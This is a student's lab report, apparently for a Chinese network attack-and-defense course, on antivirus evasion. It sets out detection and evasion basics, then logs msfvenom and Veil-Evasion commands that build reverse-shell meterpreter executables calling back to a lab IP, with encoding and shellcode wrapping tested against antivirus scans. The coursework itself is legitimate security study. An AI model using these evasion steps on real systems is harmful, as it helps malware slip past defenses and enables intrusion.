20145303 刘俊谦 《网络攻防》 免杀原理与实践
基础问题回答
1.杀软是如何检测出恶意代码的?
(1)基于特征码的检测
(2)启发式恶意软件检测
(3)基于行为的恶意软件检测
2.免杀是做什么?
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),翻译为“反杀毒技术”。使恶意代码不被系统发现而被发现的一种技术。
3.免杀的基本方法有哪些?
(1)加冷门壳
(2)加壳改壳
(3)加花指令
(4)改程序入口点
(5)修改内存特征码
实践总结与体会
有了杀毒软件才有的免杀,而且两者一直在互相处于对方的对立面。对于加壳和修改特征码等免杀手段来说来说,如果出现新的一种,杀毒软件是无效的,但之后如果杀毒软件反应快的话,很快这种免杀手段就会无效。所以我们还是不能完全信赖于杀毒软件,一方面加强自己的反病毒意识,一方面也不要把重要信息暴露于电脑上。
实践过程记录
msfvenom直接生成meterpreter可执行文件
Windows与Kali的IP地址如下图:
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 PORT=5333 -f exe > test.exe生成meterpreter可执行文件
用ncat将文件传输到windows,检测:
Msfvenom使用编码器生成meterpreter可执行文件
编码一次,生成可执行文件
用ncat将文件传输到windows,并检测:
没什么效果
编码十次,生成可执行文件
用ncat将文件传输到windows,再检测:
我们可以看到,查杀出的概率反而更高了,所以编码这种方法大多数情况下并没有什么效果
Veil-Evasion生成可执行文件
直接输入veil-evasion打开软件
在menu里面输入以下命令来生成可执行文件:
use python/meterpreter/rev_tcp set LHOST 192.168.1.111 generate 5303test 1
成功后如下:
检测:
可以看到,效果还是不错的
C语言调用Shellcode
生成一个c语言格式的Shellcode数组:
然后用这个数组来编写程序,由于自己电脑上没相应程序,所以用其他同学电脑上编写再拷回来
监听后才打开的程序,在检测的时候弹出来360的警告
下图是检测结果
可以看到,15%的概率比最初少很多,效果很好!